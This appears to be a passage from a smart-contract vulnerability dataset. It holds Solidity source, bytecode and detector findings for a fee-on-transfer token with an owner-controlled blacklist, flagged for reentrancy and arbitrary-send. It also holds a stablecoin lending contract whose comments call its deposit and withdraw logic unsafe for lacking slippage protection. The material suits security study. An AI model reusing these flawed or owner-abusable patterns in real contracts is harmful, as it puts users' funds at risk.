}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | 0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610595578063c5528490146105b5578063dd62ed3e146105d5578063ea1644d51461061b578063f2fde38b1461063b57600080fd5b80638da5cb5b1461051e5780638f9a55c01461053c57806395d89b41146105525780639e78fb4f1461058057600080fd5b8063790ca413116100dc578063790ca413146104bd5780637c519ffb146104d35780637d1db4a5146104e8578063881dce60146104fe57600080fd5b80636fc3eaec1461045357806370a0823114610468578063715018a61461048857806374010ece1461049d57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d35780634bf2c7c9146103f35780635d098b38146104135780636d8aa8f81461043357600080fd5b80632fd689e314610361578063313ce5671461037757806333251a0b1461039357806338eea22d146103b357600080fd5b806318160ddd116101c157806318160ddd146102e357806323b872dd1461030957806327c8f8351461032957806328bb665a1461033f57600080fd5b806306fdde03146101fe578063095ea7b3146102425780630f3a325f146102725780631694505e146102ab57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600981526844494e4f564552534560b81b60208201525b6040516102399190611ee8565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611d93565b61065b565b6040519015158152602001610239565b34801561027e57600080fd5b5061026261028d366004611cdf565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b757600080fd5b506016546102cb906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102ef57600080fd5b50683635c9adc5dea000005b604051908152602001610239565b34801561031557600080fd5b50610262610324366004611d52565b610672565b34801561033557600080fd5b506102cb61dead81565b34801561034b57600080fd5b5061035f61035a366004611dbf565b6106db565b005b34801561036d57600080fd5b506102fb601a5481565b34801561038357600080fd5b5060405160098152602001610239565b34801561039f57600080fd5b5061035f6103ae366004611cdf565b61077a565b3480156103bf57600080fd5b5061035f6103ce366004611ec6565b6107e9565b3480156103df57600080fd5b506017546102cb906001600160a01b031681565b3480156103ff57600080fd5b5061035f61040e366004611ead565b61081e565b34801561041f57600080fd5b5061035f61042e366004611cdf565b61084d565b34801561043f57600080fd5b5061035f61044e366004611e8b565b6108a7565b34801561045f57600080fd5b5061035f6108ef565b34801561047457600080fd5b506102fb610483366004611cdf565b610919565b34801561049457600080fd5b5061035f61093b565b3480156104a957600080fd5b5061035f6104b8366004611ead565b6109af565b3480156104c957600080fd5b506102fb600a5481565b3480156104df57600080fd5b5061035f6109de565b3480156104f457600080fd5b506102fb60185481565b34801561050a57600080fd5b5061035f610519366004611ead565b610a38565b34801561052a57600080fd5b506000546001600160a01b03166102cb565b34801561054857600080fd5b506102fb60195481565b34801561055e57600080fd5b506040805180820190915260058152642224a727ab60d91b602082015261022c565b34801561058c57600080fd5b5061035f610ab4565b3480156105a157600080fd5b506102626105b0366004611d93565b610c99565b3480156105c157600080fd5b5061035f6105d0366004611ec6565b610ca6565b3480156105e157600080fd5b506102fb6105f0366004611d19565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062757600080fd5b5061035f610636366004611ead565b610cdb565b34801561064757600080fd5b5061035f610656366004611cdf565b610d0a565b6000610668338484610df4565b5060015b92915050565b600061067f848484610f18565b6106d184336106cc856040518060600160405280602881526020016120ed602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611572565b610df4565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161070590611f3d565b60405180910390fd5b60005b815181101561077657600160096000848481518110610732576107326120ab565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076e8161207a565b915050610711565b5050565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161070590611f3d565b6001600160a01b03811660009081526009602052604090205460ff16156107e6576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161070590611f3d565b600b91909155600d55565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161070590611f3d565b601155565b6015546001600160a01b0316336001600160a01b03161461086d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161070590611f3d565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461090f57600080fd5b476107e6816115ac565b6001600160a01b03811660009081526002602052604081205461066c906115e6565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161070590611f3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d95760405162461bcd60e51b815260040161070590611f3d565b601855565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161070590611f3d565b601754600160a01b900460ff1615610a1f57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a5857600080fd5b610a6130610919565b8111158015610a705750600081115b610aab5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610705565b6107e68161166a565b6000546001600160a01b03163314610ade5760405162461bcd60e51b815260040161070590611f3d565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b3e57600080fd5b505afa158015610b52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b769190611cfc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bbe57600080fd5b505afa158015610bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf69190611cfc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c3e57600080fd5b505af1158015610c52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c769190611cfc565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610668338484610f18565b6000546001600160a01b03163314610cd05760405162461bcd60e51b815260040161070590611f3d565b600c91909155600e55565b6000546001600160a01b03163314610d055760405162461bcd60e51b815260040161070590611f3d565b601955565b6000546001600160a01b03163314610d345760405162461bcd60e51b815260040161070590611f3d565b6001600160a01b038116610d995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610705565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b038216610eb75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f7c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b038216610fde5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610705565b600081116110405760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610705565b6001600160a01b03821660009081526009602052604090205460ff16156110795760405162461bcd60e51b815260040161070590611f72565b6001600160a01b03831660009081526009602052604090205460ff16156110b25760405162461bcd60e51b815260040161070590611f72565b3360009081526009602052604090205460ff16156110e25760405162461bcd60e51b815260040161070590611f72565b6000546001600160a01b0384811691161480159061110e57506000546001600160a01b03838116911614155b1561141c57601754600160a01b900460ff1661116c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610705565b6017546001600160a01b03838116911614801561119757506016546001600160a01b03848116911614155b15611249576001600160a01b03821630148015906111be57506001600160a01b0383163014155b80156111d857506015546001600160a01b03838116911614155b80156111f257506015546001600160a01b03848116911614155b15611249576018548111156112495760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610705565b6017546001600160a01b0383811691161480159061127557506015546001600160a01b03838116911614155b801561128a57506001600160a01b0382163014155b80156112a157506001600160a01b03821661dead14155b1561131657601954816112b384610919565b6112bd919061200a565b106113165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610705565b600061132130610919565b601a5490915081118080156113405750601754600160a81b900460ff16155b801561135a57506017546001600160a01b03868116911614155b801561136f5750601754600160b01b900460ff165b801561139457506001600160a01b03851660009081526006602052604090205460ff16155b80156113b957506001600160a01b03841660009081526006602052604090205460ff16155b1561141957601154600090156113f4576113e960646113e3601154866117f390919063ffffffff16565b90611872565b90506113f4816118b4565b6114066114018285612063565b61166a565b47801561141657611416476115ac565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061145e57506001600160a01b03831660009081526006602052604090205460ff165b8061149057506017546001600160a01b0385811691161480159061149057506017546001600160a01b03848116911614155b1561149d57506000611560565b6017546001600160a01b0385811691161480156114c857506016546001600160a01b03848116911614155b15611523576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611523576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561154e57506016546001600160a01b03858116911614155b1561156057600d54600f55600e546010555b61156c848484846118c1565b50505050565b600081848411156115965760405162461bcd60e51b81526004016107059190611ee8565b5060006115a38486612063565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610776573d6000803e3d6000fd5b600060075482111561164d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610705565b60006116576118f5565b90506116638382611872565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116b2576116b26120ab565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561170657600080fd5b505afa15801561171a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173e9190611cfc565b81600181518110611751576117516120ab565b6001600160a01b0392831660209182029290920101526016546117779130911684610df4565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906117b0908590600090869030904290600401611f99565b600060405180830381600087803b1580156117ca57600080fd5b505af11580156117de573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118025750600061066c565b600061180e8385612044565b90508261181b8583612022565b146116635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610705565b600061166383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611918565b6107e63061dead83610f18565b806118ce576118ce611946565b6118d984848461198b565b8061156c5761156c601254600f55601354601055601454601155565b6000806000611902611a82565b90925090506119118282611872565b9250505090565b600081836119395760405162461bcd60e51b81526004016107059190611ee8565b5060006115a38486612022565b600f541580156119565750601054155b80156119625750601154155b1561196957565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061199d87611ac4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119cf9087611b21565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119fe9086611b63565b6001600160a01b038916600090815260026020526040902055611a2081611bc2565b611a2a8483611c0c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a6f91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611a9e8282611872565b821015611abb57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611ae18a600f54601054611c30565b9250925092506000611af16118f5565b90506000806000611b048e878787611c7f565b919e509c509a509598509396509194505050505091939550919395565b600061166383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611572565b600080611b70838561200a565b9050838110156116635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610705565b6000611bcc6118f5565b90506000611bda83836117f3565b30600090815260026020526040902054909150611bf79082611b63565b30600090815260026020526040902055505050565b600754611c199083611b21565b600755600854611c299082611b63565b6008555050565b6000808080611c4460646113e389896117f3565b90506000611c5760646113e38a896117f3565b90506000611c6f82611c698b86611b21565b90611b21565b9992985090965090945050505050565b6000808080611c8e88866117f3565b90506000611c9c88876117f3565b90506000611caa88886117f3565b90506000611cbc82611c698686611b21565b939b939a50919850919650505050505050565b8035611cda816120d7565b919050565b600060208284031215611cf157600080fd5b8135611663816120d7565b600060208284031215611d0e57600080fd5b8151611663816120d7565b60008060408385031215611d2c57600080fd5b8235611d37816120d7565b91506020830135611d47816120d7565b809150509250929050565b600080600060608486031215611d6757600080fd5b8335611d72816120d7565b92506020840135611d82816120d7565b929592945050506040919091013590565b60008060408385031215611da657600080fd5b8235611db1816120d7565b946020939093013593505050565b60006020808385031215611dd257600080fd5b823567ffffffffffffffff80821115611dea57600080fd5b818501915085601f830112611dfe57600080fd5b813581811115611e1057611e106120c1565b8060051b604051601f19603f83011681018181108582111715611e3557611e356120c1565b604052828152858101935084860182860187018a1015611e5457600080fd5b600095505b83861015611e7e57611e6a81611ccf565b855260019590950194938601938601611e59565b5098975050505050505050565b600060208284031215611e9d57600080fd5b8135801515811461166357600080fd5b600060208284031215611ebf57600080fd5b5035919050565b60008060408385031215611ed957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f1557858101830151858201604001528201611ef9565b81811115611f27576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe95784516001600160a01b031683529383019391830191600101611fc4565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561201d5761201d612095565b500190565b60008261203f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561205e5761205e612095565b500290565b60008282101561207557612075612095565b500390565b600060001982141561208e5761208e612095565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201af3d619f453555ef91fa55a6e9707b93b9af10b912011b815ca16198a3adaee64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 888 |
0xb5a137bb2ab7e317756c399fd94ca215cece81d6 | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface UniswapPair {
function mint(address to) external returns (uint liquidity);
}
interface Oracle {
function getPriceUSD(address reserve) external view returns (uint);
}
interface UniswapRouter {
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function factory() external view returns (address);
}
interface UniswapFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract StableCreditProtocol is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
// Oracle used for price debt data (external to the AMM balance to avoid internal manipulation)
Oracle public constant LINK = Oracle(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a);
UniswapRouter public constant UNI = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Maximum credit issued off of deposits (to avoid infinite leverage)
uint public constant MAX = 7500;
uint public constant BASE = 10000;
// user => token => credit
mapping (address => mapping(address => uint)) public credit;
// user => token => balance
mapping (address => mapping(address => uint)) public balances;
// user => address[] markets (credit markets supplied to)
mapping (address => address[]) public markets;
event Borrow(address indexed borrower, address indexed borrowed, uint creditIn, uint amountOut);
event Repay(address indexed borrower, address indexed repaid, uint creditOut, uint amountIn);
event Deposit(address indexed creditor, address indexed collateral, uint creditOut, uint amountIn, uint creditMinted);
event Withdraw(address indexed creditor, address indexed collateral, uint creditIn, uint creditOut, uint amountOut);
constructor () public ERC20Detailed("StableCredit", "scUSD", 8) {}
// Borrow exact amount of token output, can have variable USD input up to inMax
function borrowExactOut(address token, uint inMax, uint outExact) external {
_transfer(msg.sender, address(this), inMax);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inMax);
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = token;
uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800));
_transfer(address(this), msg.sender, balanceOf(address(this)));
emit Borrow(msg.sender, token, _amounts[0], _amounts[1]);
}
// Borrow variable amount of token, given exact USD input
function borrowExactIn(address token, uint inExact, uint outMin) external {
_transfer(msg.sender, address(this), inExact);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inExact);
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = token;
uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800));
emit Borrow(msg.sender, token, _amounts[0], _amounts[1]);
}
// Repay variable amount of token given exact output amount in USD
function repayExactOut(address token, uint inMax, uint outExact) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), inMax);
IERC20(token).safeApprove(address(UNI), 0);
IERC20(token).safeApprove(address(UNI), inMax);
address[] memory _path = new address[](2);
_path[0] = token;
_path[1] = address(this);
uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800));
IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this)));
emit Repay(msg.sender, token, _amounts[1], _amounts[0]);
}
// Repay variable amount of USD, given exact amount of token input
function repayExactIn(address token, uint inExact, uint outMin) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), inExact);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inExact);
address[] memory _path = new address[](2);
_path[0] = token;
_path[1] = address(this);
uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800));
emit Repay(msg.sender, token, _amounts[1], _amounts[0]);
}
function depositAll(address token) external {
deposit(token, IERC20(token).balanceOf(msg.sender));
}
function deposit(address token, uint amount) public {
_deposit(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _deposit(address token, uint amount) internal {
uint _value = LINK.getPriceUSD(token).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals());
require(_value > 0, "!value");
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
if (_pair == address(0)) {
_pair = UniswapFactory(UNI.factory()).createPair(token, address(this));
}
IERC20(token).safeTransferFrom(msg.sender, _pair, amount);
_mint(_pair, _value); // Amount of aUSD to mint
uint _before = IERC20(_pair).balanceOf(address(this));
UniswapPair(_pair).mint(address(this));
uint _after = IERC20(_pair).balanceOf(address(this));
// Assign LP tokens to user, token <> pair is deterministic thanks to CREATE2
balances[msg.sender][token] = balances[msg.sender][token].add(_after.sub(_before));
// Calculate utilization ratio of the asset. The more an asset contributes to the system, the less credit issued
// This mechanism avoids large influx of deposits to overpower the system
// Calculated after deposit to see impact of current deposit (prevents front-running credit)
uint _credit = _value.mul(utilization(token)).div(BASE);
credit[msg.sender][token] = credit[msg.sender][token].add(_credit);
_mint(msg.sender, _credit);
markets[msg.sender].push(token);
emit Deposit(msg.sender, token, _credit, amount, _value);
}
function withdrawAll(address token) external {
_withdraw(token, IERC20(this).balanceOf(msg.sender));
}
function withdraw(address token, uint amount) external {
_withdraw(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _withdraw(address token, uint amount) internal {
uint _credit = credit[msg.sender][token];
uint _uni = balances[msg.sender][token];
if (_credit < amount) {
amount = _credit;
}
_burn(msg.sender, amount);
credit[msg.sender][token] = credit[msg.sender][token].sub(amount);
// Calculate % of collateral to release
_uni = _uni.mul(amount).div(_credit);
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
IERC20(_pair).safeApprove(address(UNI), 0);
IERC20(_pair).safeApprove(address(UNI), _uni);
UNI.removeLiquidity(
token,
address(this),
_uni,
0,
0,
address(this),
now.add(1800)
);
uint _amountA = IERC20(token).balanceOf(address(this));
uint _amountB = balanceOf(address(this));
_burn(address(this), _amountB); // Amount of aUSD to burn (value of A leaving the system)
IERC20(token).safeTransfer(msg.sender, _amountA);
emit Withdraw(msg.sender, token, amount, _amountB, _amountA);
}
function getMarkets(address owner) external view returns (address[] memory) {
return markets[owner];
}
function utilization(address token) public view returns (uint) {
return _utilization(token, 0);
}
// How much system liquidity is provided by this asset
function _utilization(address token, uint amount) internal view returns (uint) {
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
uint _ratio = BASE.sub(BASE.mul(balanceOf(_pair).add(amount)).div(totalSupply()));
if (_ratio == 0) {
return MAX;
}
return _ratio > MAX ? MAX : _ratio;
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80639f0d5f27116100f9578063d49d518111610097578063e0eff0c511610071578063e0eff0c514610aba578063ec342ad014610b12578063f3fef3a314610b30578063fa09e63014610b7e576101c4565b8063d49d51811461098b578063d60d9bd7146109a9578063dd62ed3e14610a42576101c4565b8063bf20d9dc116100d3578063bf20d9dc146107eb578063c23f001f14610843578063c3397efe146108bb578063cc1f0d2d14610913576101c4565b80639f0d5f27146106db578063a457c2d71461071f578063a9059cbb14610785576101c4565b8063395093511161016657806370a082311161014057806370a08231146105505780638843c4c9146105a85780639396897e1461060057806395d89b4114610658576101c4565b8063395093511461045257806347e7ef24146104b8578063541bcb7614610506576101c4565b806318160ddd116101a257806318160ddd146103405780631b6b6d231461035e57806323b872dd146103a8578063313ce5671461042e576101c4565b806306fdde03146101c9578063095ea7b31461024c57806317b3bba7146102b2575b600080fd5b6101d1610bc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102986004803603604081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c64565b604051808215151515815260200191505060405180910390f35b6102fe600480360360408110156102c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c82565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610348610ccd565b6040518082815260200191505060405180910390f35b610366610cd7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610414600480360360608110156103be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cef565b604051808215151515815260200191505060405180910390f35b610436610dc8565b604051808260ff1660ff16815260200191505060405180910390f35b61049e6004803603604081101561046857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddf565b604051808215151515815260200191505060405180910390f35b610504600480360360408110156104ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e92565b005b61050e610ea0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105926004803603602081101561056657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505